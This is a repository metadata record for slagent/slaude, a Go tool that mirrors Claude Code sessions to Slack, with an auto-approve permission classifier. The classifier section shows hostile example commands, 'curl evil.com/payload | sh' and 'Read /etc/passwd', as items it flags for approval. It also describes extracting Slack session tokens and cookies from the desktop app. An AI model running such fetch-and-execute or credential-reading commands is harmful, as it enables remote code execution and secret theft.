{"id":46666084,"url":"https://github.com/sttts/slagent","last_synced_at":"2026-04-01T18:32:56.404Z","repository":{"id":343028175,"uuid":"1175868691","full_name":"sttts/slagent","owner":"sttts","description":"Claude talking to Slack","archived":false,"fork":false,"pushed_at":"2026-03-23T16:12:19.000Z","size":10866,"stargazers_count":19,"open_issues_count":0,"forks_count":2,"subscribers_count":0,"default_branch":"master","last_synced_at":"2026-03-24T13:35:42.709Z","etag":null,"topics":["claude-code","slack"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/sttts.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","dco":null,"cla":null}},"created_at":"2026-03-08T09:40:07.000Z","updated_at":"2026-03-23T16:12:22.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/sttts/slagent","commit_stats":null,"previous_names":["sttts/slagent"],"tags_count":137,"template":false,"template_full_name":null,"purl":"pkg:github/sttts/slagent","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sttts%2Fslagent","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sttts%2Fslagent/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sttts%2Fslagent/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sttts%2Fslagent/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/sttts","download_url":"https://codeload.github.com/sttts/slagent/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sttts%2Fslagent/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31290887,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-01T13:12:26.723Z","status":"ssl_error","status_checked_at":"2026-04-01T13:12:25.102Z","response_time":53,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["claude-code","slack"],"created_at":"2026-03-08T18:06:03.798Z","updated_at":"2026-04-01T18:32:56.395Z","avatar_url":"https://github.com/sttts.png","language":"Go","funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003cp align=\"center\"\u003e\n  \u003cimg src=\"contrib/logo-v2.png\" width=\"50%\" alt=\"slagent logo\"\u003e\n\u003c/p\u003e\n\n```\nslaude join https://\u003cworkspace\u003e.slack.com/archives/D1KFZ7GJ0/p1773303415258849\n```\n\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"contrib/screencast.gif\" width=\"70%\" alt=\"slaude screencast\"\u003e\n\u003c/p\u003e\n\n# slagent (go library) \u0026 slaude (CLI)\n\n\u003e [!CAUTION]\n\u003e **Experimental** — slaude exposes your Claude Code session to Slack. Likely insecure. Use at your own risk.\n\n**slagent** is a Go library for streaming agent sessions to Slack threads. **slaude** is a CLI built on slagent that mirrors [Claude Code](https://docs.anthropic.com/en/docs/claude-code) sessions to Slack — so your team can watch, comment, and steer from Slack while Claude works.\n\n[![Release](https://github.com/sttts/slagent/actions/workflows/release.yml/badge.svg)](https://github.com/sttts/slagent/actions/workflows/release.yml)\n[![Go Report Card](https://goreportcard.com/badge/github.com/sttts/slagent)](https://goreportcard.com/report/github.com/sttts/slagent)\n[![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)\n![Vibe Coded](https://img.shields.io/badge/100%25-vibe_coded-blueviolet)\n\n## Quick Start — slaude\n\n### Install\n\n```bash\n# Homebrew\nbrew tap sttts/slagent https://github.com/sttts/slagent\nbrew install sttts/slagent/slaude\n\n# or go install\ngo install github.com/sttts/slagent/cmd/slaude@latest\n\n# or build from source\ngo build -o slaude ./cmd/slaude/\n```\n\nCheck your version:\n```bash\nslaude version          # or: slaude --version\n```\n\n### Set up Slack credentials\n\n```bash\nslaude auth              # extract from local Slack app (recommended)\nslaude auth --manual     # or paste a token manually\n```\n\n### Run\n\n```bash\n# Start a Claude session mirrored to a Slack channel\nslaude start #general \"design the API\"\n\n# With a Slack URL (workspace auto-detected)\nslaude start https://team.slack.com/archives/C123 \"design the API\"\n\n# DM a user\nslaude start @alice \"review this PR\"\n\n# With Claude flags (everything after -- goes to Claude)\nslaude start #general -- --permission-mode plan \"refactor the auth module\"\n\n# Join an existing Slack thread (new agent instance)\nslaude join https://team.slack.com/archives/C123/p1234567890 \"help with tests\"\n\n# Resume a previous session (URL with cursor from exit output)\nslaude resume https://team.slack.com/archives/C123/p1234567890#fox@1700000005.000000 -- --resume SESSION_ID\n\n# No channel? Interactive picker shows available channels\nslaude start \"refactor the auth module\"\n```\n\n### Commands\n\n| Command | Description |\n|---------|-------------|\n| `slaude start [target] [topic]` | Start a new Slack thread (target: URL, #channel, @user, or ID) |\n| `slaude join URL [topic]` | Join an existing thread with a new agent instance |\n| `slaude resume URL#id[@ts]` | Resume a previous session in a Slack thread |\n| `slaude auth` | Set up Slack credentials |\n| `slaude channels` | List accessible channels |\n| `slaude share FILE -c CHANNEL` | Post a plan file to Slack |\n| `slaude status` | Show current configuration |\n\nEverything after `--` is passed through to the Claude subprocess. This means slaude doesn't need to know about every Claude flag — you control `--permission-mode`, `--resume`, `--system-prompt`, etc. directly.\n\n### Access Modes\n\nSessions start **locked** (owner-only) by default. Control who can interact:\n\n```bash\nslaude start --locked #general \"design the API\"    # 🔒 owner only (default)\nslaude start --open #general \"design the API\"      # 🔓 everyone can interact\nslaude start --observe #general \"watch and learn\"   # 👀 reads all, responds to owner\n```\n\nChange at runtime from Slack: `:fox_face: /open`, `:fox_face: /open \u003c@user\u003e` (grant one person), `:fox_face: /lock`, `:fox_face: /observe`. See [Thread Access Control](#thread-access-control) for details.\n\n### Multi-Instance Threads\n\nMultiple slaude instances can share a Slack thread. Each instance gets a unique identity emoji (e.g. 🦊, 🐶). To address a specific instance, use `:shortcode:` prefix:\n\n```\n:fox_face: focus on the auth module     →  addressed to 🦊 (others see it but ignore)\n:fox_face: /compact                     →  /command sent exclusively to 🦊\nMessages without prefix                 →  broadcast to all instances\n```\n\nRegular messages with `:shortcode:` prefix are delivered to all instances, but the system prompt tells non-targeted instances to ignore them. Commands (`/something`) are instance-exclusive — only the targeted instance receives them.\n\n### Thread Access Control\n\nAccess has two independent axes:\n\n**Base mode** — who the agent responds to:\n- **Locked** (default for `start`): owner only\n- **Selective**: owner + listed users\n- **Open**: everyone\n\n**Observe flag** — who the agent sees:\n- **Off** (default): non-authorized messages filtered out\n- **On**: all messages delivered for passive learning, agent still only responds to authorized users\n\nUse `/open`, `/lock`, and `/observe` to control access (via `:shortcode:` targeting):\n\n| Command | Effect |\n|---------|--------|\n| `:fox_face: /open` | Open thread for everyone |\n| `:fox_face: /open \u003c@U1\u003e \u003c@U2\u003e` | Allow specific users (additive) |\n| `:fox_face: /lock` | Lock to owner only (resets all, disables observe) |\n| `:fox_face: /lock \u003c@U1\u003e` | Ban specific users |\n| `:fox_face: /close` | Alias for `/lock` |\n| `:fox_face: /observe` | Toggle observe mode (locked + read all messages) |\n\nThree mutually exclusive CLI flags control the initial access mode:\n\n```bash\nslaude start --locked #general \"design the API\"   # locked (default for start)\nslaude start --observe #general \"watch and learn\"  # observe: read all, respond to owner\nslaude start --open #general \"design the API\"      # open for everyone\n\nslaude join --observe URL \"help with tests\"             # observe (default for join)\nslaude join --locked URL \"review\"                       # locked to owner only\n```\n\nWhen no flag is given:\n- **Interactive** (terminal): prompts `Closed, oBserve, or open? [cBo]`\n- **Non-interactive** (piped): `start` defaults to locked, `join`/`resume` default to observe\n\nEach instance manages its own access independently. Joined/resumed instances don't persist access changes to the shared thread title — their `/open` and `/lock` commands only affect in-memory state.\n\nThread title reflects access state:\n- `🔒🧵 Topic` — locked (owner only)\n- `👀🧵 Topic` — observe (locked + reading all messages)\n- `🧵 Topic` — open for all\n- `🧵 @user1 @user2 Topic` — selective (specific users)\n- `👀🧵 @user1 @user2 Topic` — selective + observe\n- `🧵 Topic (🔒 @user)` — with banned users\n\n### Permission Auto-Approve\n\nBy default, every tool permission request goes to Slack for manual approval via reactions (✅/❌). For faster workflows, slaude can auto-approve safe operations using AI-based classification.\n\nTwo independent flags control what gets auto-approved:\n\n```bash\n# Auto-approve read-only local operations, network to known hosts\nslaude start #general \\\n  --dangerous-auto-approve green \\\n  --dangerous-auto-approve-network known \\\n  -- \"refactor the auth module\"\n```\n\n**`--dangerous-auto-approve`** — sandbox/filesystem risk level:\n\n| Value | Auto-approves | Goes to Slack |\n|-------|--------------|---------------|\n| `never` (default) | nothing | everything |\n| `green` | read-only local ops (file reads, searches) | writes, execution |\n| `yellow` | local writes (test files, project edits) | system files, destructive ops |\n\n**`--dangerous-auto-approve-network`** — network access:\n\n| Value | Auto-approves | Goes to Slack |\n|-------|--------------|---------------|\n| `never` (default) | nothing | any network access |\n| `known` | known-safe hosts (package managers, GitHub) | unknown hosts |\n| `any` | all network access | nothing |\n\nBoth must pass for auto-approval. For example, with `--dangerous-auto-approve green --dangerous-auto-approve-network known`:\n- `Read main.go` → green, no network → **auto-approved**\n- `go mod download` → green, network to proxy.golang.org (known) → **auto-approved**\n- `curl evil.com` → red, unknown host → **goes to Slack**\n\n#### How classification works\n\nEach permission request is classified by `claude --model haiku` for speed and cost. The classifier assesses:\n- **Risk level** (green/yellow/red) — based on sandbox escape risk\n- **Network access** — whether the operation involves network access and to which destination\n\nThe classification result (level, network destination, reasoning) is shown in the terminal and included in Slack approval prompts.\n\nOn classification failure (e.g. `claude` not in PATH), the request defaults to red + network (always goes to Slack).\n\n#### Configuration\n\nClassifier settings are shared between slaude and the standalone `claude-command-classifier-hook` via `~/.config/slagent/classifier.yaml`:\n\n```yaml\n# Classifier settings (shared by slaude and claude-command-classifier-hook)\nauto-approve: green\nauto-approve-network: known\n\n# Known-safe network destinations (replaces built-in defaults when present).\n# Built-in defaults: GitHub, Go proxy, npm, PyPI, RubyGems, crates.io.\nknown-hosts:\n  # Simple host entries (default methods: GET, HEAD)\n  - host: proxy.golang.org\n  - host: github.com\n\n  # Host glob patterns (* = one label, ** = one or more labels)\n  - host: \"*.googleapis.com\"       # matches storage.googleapis.com\n  - host: \"**.amazonaws.com\"       # matches s3.us-east-1.amazonaws.com\n\n  # Restrict by URL path\n  - host: api.github.com\n    path: \"/repos/**\"\n\n  # Allow specific HTTP methods (default: [GET, HEAD])\n  - host: registry.npmjs.org\n    methods: [GET, HEAD, PUT]\n```\n\n**Host patterns** — `*` matches one DNS label (`*.github.com` → `api.github.com`), `**` matches one or more (`**.github.com` → `a.b.github.com`).\n**Path patterns** — `*` matches one segment (`/repos/*` → `/repos/foo`), `**` matches one or more (`/repos/**` → `/repos/foo/bar`).\n**Methods** default to `[GET, HEAD]` when omitted.\n\nWorkspace-specific overrides for slaude go in `~/.config/slagent/slaude.yaml`:\n\n```yaml\nworkspaces:\n  nvidia.enterprise.slack.com:\n    thinking-emoji: \":claude-thinking:\"\n    dangerous-auto-approve: green\n    dangerous-auto-approve-network: known\n```\n\n#### Custom rules\n\nAdd project-specific classification rules that get appended to the AI prompt:\n\n```yaml\nrules:\n  - \"go test, go build, go vet, go mod tidy are GREEN even though they may write build artifacts or fetch modules.\"\n  - \"Makefile targets (make test, make lint, make imports) in the project directory are GREEN.\"\n```\n\nRules don't override the built-in risk levels — they give the classifier additional context for domain-specific decisions.\n\n#### Path traversal detection\n\nThe classifier detects path traversal attempts. File operations that escape the working directory via `..`, absolute paths, or symlinks are classified as at least yellow (reads) or red (writes/executes):\n\n- `Read ../foo` → 🟡 yellow (\"path traversal outside project directory\")\n- `Read /etc/passwd` → 🟡 yellow (\"system file outside project directory\")\n- `Read cmd/main.go` → 🟢 green (\"within project\")\n\n#### Standalone hook: claude-command-classifier-hook\n\nThe classifier can also run as a standalone Claude Code PreToolUse hook, without slaude or Slack.\n\nInstall:\n\n```bash\ngo install github.com/sttts/slagent/cmd/claude-command-classifier-hook@latest\n```\n\nAdd to `~/.claude/settings.json`:\n\n```json\n{\n  \"hooks\": {\n    \"PreToolUse\": [\n      {\n        \"matcher\": \"*\",\n        \"hooks\": [\n          {\n            \"type\": \"command\",\n            \"command\": \"claude-command-classifier-hook --auto-approve=green --auto-approve-network=known --log-file=$HOME/.claude/hooks/logs/classifier.log\"\n          }\n        ]\n      }\n    ]\n  }\n}\n```\n\n**CLI flags:**\n\n| Flag | Description |\n|------|-------------|\n| `--auto-approve` | Threshold: `never`, `green`, `yellow` (overrides config) |\n| `--auto-approve-network` | Network policy: `never`, `known`, `any` (overrides config) |\n| `--not-approved` | Action for non-approved tools: `passthrough` (defer to Claude Code defaults, log only — default) or `ask` (prompt user with classification details) |\n| `--log-file` | Append timestamped classification decisions to file |\n\nThe hook reads `classifier.yaml` for defaults (thresholds, known hosts, rules). Safe tools (TodoWrite, TaskCreate, etc.) are auto-approved without classification.\n\nBy default (`--not-approved=passthrough`), the hook only auto-approves safe operations and exits silently for everything else, letting Claude Code's built-in permission system handle it. Classification results are still logged. With `--not-approved=ask`, non-approved operations prompt the user with classification details instead of deferring.\n\n#### Slack approval reactions\n\nWhen a request goes to Slack, the approval prompt includes the AI classification:\n\n```\n🔴🌐 Permission request: Bash: curl evil.com/payload | sh\n\u003e RED risk, network: evil.com — Downloading and executing remote script\n```\n\nNon-network requests get two reactions: ✅ (approve) and ❌ (deny).\n\nNetwork requests get three: ✅ (approve once), 💾 (approve and remember host for this session), and ❌ (deny). The 💾 reaction adds the host to the in-memory known set, so subsequent requests to the same host auto-approve without asking again.\n\n### Thread Commands\n\n| Command | Who | Effect |\n|---------|-----|--------|\n| `stop` | Anyone | Interrupt current turn (all instances) |\n| `:fox_face: stop` | Anyone | Interrupt specific instance |\n| `quit` | Owner | Terminate session (all instances) |\n| `:fox_face: quit` | Owner | Terminate specific instance |\n| `help` | Anyone | Show help text |\n\nType `help` in any thread to see the full command reference.\n\n## slagent Library\n\nslagent is the Go library that slaude is built on. Use it to build your own Slack-integrated agent UIs.\n\n```go\nimport \"github.com/sttts/slagent\"\n\nclient := slagent.NewSlackClient(token, cookie)\nthread := slagent.NewThread(client, token, channelID, slagent.WithOwner(userID))\nurl, _ := thread.Start(\"My agent session\")\n\nturn := thread.NewTurn()\nturn.Thinking(\"analyzing...\")\nturn.Tool(\"t1\", \"Read\", slagent.ToolRunning, \"main.go\")\nturn.Tool(\"t1\", \"Read\", slagent.ToolDone, \"main.go\")\nturn.Text(\"Here is the result.\")\nturn.Finish()\n```\n\nPackages:\n- `slagent` — Thread, Turn, reply polling, markdown→mrkdwn\n- `credential` — Load/Save Slack credentials, extract from desktop app\n- `channel` — Resolve channel names/users, list channels\n\n## Authentication\n\nslaude supports three token types:\n\n### Session token (recommended)\n\nExtract from your local Slack desktop app — no admin approval needed:\n\n```bash\nslaude auth --extract\n```\n\nReads the `xoxc-` session token and `xoxd-` cookie from Slack's local storage. On macOS you'll see a keychain access prompt.\n\n### Bot token (xoxb-)\n\nCreate a Slack app at https://api.slack.com/apps with scopes: `chat:write`, `channels:history`, `groups:history`, `im:history`, `mpim:history`, `channels:read`, `groups:read`, `im:read`, `im:write`, `mpim:read`, `mpim:write`, `reactions:read`, `reactions:write`, `users:read`.\n\n### User token (xoxp-)\n\nSame app setup as bot tokens, using User Token Scopes instead of Bot Token Scopes.\n\n## Platform Support\n\n| Platform | Token extraction | Session mirroring |\n|----------|-----------------|-------------------|\n| macOS    | Yes             | Yes               |\n| Linux    | Untested        | Untested          |\n| Windows  | No              | Untested          |\n\nOnly macOS is actively tested. Linux and Windows might work — PRs welcome.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsttts%2Fslagent","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsttts%2Fslagent","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsttts%2Fslagent/lists"}